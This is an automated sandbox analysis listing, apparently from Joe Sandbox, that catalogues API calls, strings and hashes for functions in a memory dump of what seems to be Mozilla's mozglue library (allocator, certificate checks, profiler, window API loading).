CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5B6D73
free.MOZGLUE(00000000), ref: 6C5B6D80
CertGetNameStringW.CRYPT32 ref: 6C5B6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5B6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5B6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5B6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5B6E34
CreateFileW.KERNEL32 ref: 6C5B6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5B709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B7103
free.MOZGLUE(00000000), ref: 6C5B7153
CloseHandle.KERNEL32(?), ref: 6C5B7176
__Init_thread_footer.LIBCMT ref: 6C5B7209
__Init_thread_footer.LIBCMT ref: 6C5B723A
__Init_thread_footer.LIBCMT ref: 6C5B726B
__Init_thread_footer.LIBCMT ref: 6C5B729C
__Init_thread_footer.LIBCMT ref: 6C5B72DC
__Init_thread_footer.LIBCMT ref: 6C5B730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5B73C2
VerSetConditionMask.NTDLL ref: 6C5B73F3
VerSetConditionMask.NTDLL ref: 6C5B73FF
VerSetConditionMask.NTDLL ref: 6C5B7406
VerSetConditionMask.NTDLL ref: 6C5B740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5B741A
moz_xmalloc.MOZGLUE(?), ref: 6C5B755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5B7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5B7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5B7598
free.MOZGLUE(00000000), ref: 6C5B75AC

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C5B72C8
(, xrefs: 6C5B768A
SHA256, xrefs: 6C5B6EC0
wintrust.dll, xrefs: 6C5B72CD

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction ID: 5cee9659d234a717aa3a9afd9e7d910aa488b0cbc3a0cfb4499815407a786f80
Opcode Fuzzy Hash: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction Fuzzy Hash: 1652F871A003149FEB21DF25CC94BAABBB8EF85704F104599E909A7640DB38AF85CF65

Function 6C5D6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5D7019
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5D7061
EnterCriticalSection.KERNEL32(?), ref: 6C5D71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C5D721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D723E
EnterCriticalSection.KERNEL32(?), ref: 6C5D726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5D72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C5D733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5D73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C5D961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D96DB
AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5D9747
GetSystemInfo.KERNEL32(?), ref: 6C5D9792
__Init_thread_footer.LIBCMT ref: 6C5D97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5D97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5D9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5D984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5D9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5D9895

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5D9933, 6C5D9A33, 6C5D9A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5D99A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5D9BF4
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5D9993
<jemalloc>, xrefs: 6C5D9B33, 6C5D9BE3
Compile-time page size does not divide the runtime one., xrefs: 6C5D9B38
MOZ_CRASH(), xrefs: 6C5D9B42
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5D99D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5D99BD
MALLOC_OPTIONS, xrefs: 6C5D97CA

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 0a764a7ae00d2ffb893015a2689f6f7e38a6dc351534bedea0e12686ae0ae625
Instruction ID: db984b5c3d20c7c7087a8a5ab7252641f9035fc751112e8f37139f72e9cb07d8
Opcode Fuzzy Hash: 0a764a7ae00d2ffb893015a2689f6f7e38a6dc351534bedea0e12686ae0ae625
Instruction Fuzzy Hash: DE539C71A057018FD704CF2DC990615BBE1FF8A328F2AC6ADE8698B795D731E841CB85

Function 6C5E0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C5E0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C5E0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C5E1031
LeaveCriticalSection.KERNEL32(?), ref: 6C5E10D0
EnterCriticalSection.KERNEL32(?), ref: 6C5E117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C5E1C39
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5E3391
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5E33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C5E3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3437

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E3559, 6C5E382D, 6C5E3848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5E37A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5E3A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5E3793
<jemalloc>, xrefs: 6C5E3941, 6C5E39F1
Compile-time page size does not divide the runtime one., xrefs: 6C5E3946
MOZ_CRASH(), xrefs: 6C5E3950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5E37D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5E37BD
MALLOC_OPTIONS, xrefs: 6C5E35FE

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction ID: 5f342d523127de6c28f03d1c147bdb87026a286910bcf43042b90002f6730f0d
Opcode Fuzzy Hash: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction Fuzzy Hash: 10538F71A057028FD304CF29C940616FBE1FF89328F29C66DE8A99B7A5D775E841CB81

Function 6C6055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C5DE1A5), ref: 6C605606
LoadLibraryW.KERNEL32(gdi32,?,6C5DE1A5), ref: 6C60560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C605633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C60563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C60566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C60567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C605696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C605716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C60572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C605748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C605761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C60577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C605793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6057FF

Strings

DeleteObject, xrefs: 6C6057F9
StretchDIBits, xrefs: 6C6057CC
CreateWindowExW, xrefs: 6C6056C5
SetWindowPos, xrefs: 6C6056F7
CreateSolidBrush, xrefs: 6C6057E4
LoadIconW, xrefs: 6C60575B
LoadCursorW, xrefs: 6C605774
EnableNonClientDpiScaling, xrefs: 6C605666
AreDpiAwarenessContextsEqual, xrefs: 6C605637
GetSystemMetricsForDpi, xrefs: 6C605677
FillRect, xrefs: 6C605729
user32, xrefs: 6C605601
MonitorFromWindow, xrefs: 6C60578D
GetThreadDpiAwarenessContext, xrefs: 6C60562D
GetMonitorInfoW, xrefs: 6C6057A2
GetWindowDC, xrefs: 6C605710
GetDpiForWindow, xrefs: 6C605690
ShowWindow, xrefs: 6C6056DE
gdi32, xrefs: 6C60560A
SetWindowLongPtrW, xrefs: 6C6057B7
ReleaseDC, xrefs: 6C605742
RegisterClassW, xrefs: 6C6056AC

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction ID: e1c1dbc385d333ab9905a20563842b1352d83a7447740f029dd45e8d96408e9b
Opcode Fuzzy Hash: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction Fuzzy Hash: 7F512F707153239BDB049F368E9492A3AFCFF46385B144425AD62F2A55EB7CC8018F6D

Function 6C6034A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6036CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6038BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6039EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EE2

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6061DD
Part of subcall function 6C606180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C60622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6040F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604157

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C606250
Part of subcall function 6C606180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C60484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604896
free.MOZGLUE ref: 6C60489F

Strings

, xrefs: 6C604CD2

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction ID: 514d5fe999441bd1159f5f7daad6de1aa1c71b464e0b6611e837ccad0285a7c9
Opcode Fuzzy Hash: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction Fuzzy Hash: 1DF24C74908780CFC735CF29C18469AFBF1BF9A304F118A5ED989A7711DB719886CB46

Function 6C5EF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Part of subcall function 6C5C5C50: __aulldiv.LIBCMT ref: 6C5C5DB4
Part of subcall function 6C5C5C50: LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C5EF155
GetCurrentThreadId.KERNEL32 ref: 6C5EF1E0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF1ED
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF212
GetCurrentThreadId.KERNEL32 ref: 6C5EF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF248
GetCurrentThreadId.KERNEL32 ref: 6C5EF2AE
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF2BB
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF2F8

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF350
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF35D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF381
GetCurrentThreadId.KERNEL32 ref: 6C5EF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF3A0
GetCurrentThreadId.KERNEL32 ref: 6C5EF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF491

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF3CF

Part of subcall function 6C5EF070: GetCurrentThreadId.KERNEL32 ref: 6C5EF440
Part of subcall function 6C5EF070: AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF44D
Part of subcall function 6C5EF070: ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF4A8
GetCurrentThreadId.KERNEL32 ref: 6C5EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561
GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A
[I %d/%d] profiler_resume, xrefs: 6C5EF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 12276fc93db9fb532e6e1549d4b0777858a09bc791726fd82e799b26cac81031
Instruction ID: 2b42dbcddee667c7de4eb933c4d2a3b15098744940708d25c611d259559f1f8a
Opcode Fuzzy Hash: 12276fc93db9fb532e6e1549d4b0777858a09bc791726fd82e799b26cac81031
Instruction Fuzzy Hash: 72D11871704314CFDB009F6AD884799B7B8EF8A368F10462AE95583B81DB785805CBAF

Function 6C5B64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5B64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5B64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5B6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5B6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B671C
GetCurrentProcess.KERNEL32 ref: 6C5B6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B672F
GetCurrentProcess.KERNEL32 ref: 6C5B6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5B6A80
GetSystemInfo.KERNEL32(?), ref: 6C5B6ABE
__Init_thread_footer.LIBCMT ref: 6C5B6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AF7

Strings

detoured.dll, xrefs: 6C5B64DA
_etoured.dll, xrefs: 6C5B64ED
nvdxgiwrap.dll, xrefs: 6C5B6513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5B6798
user32.dll, xrefs: 6C5B6526
nvd3d9wrap.dll, xrefs: 6C5B6500

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
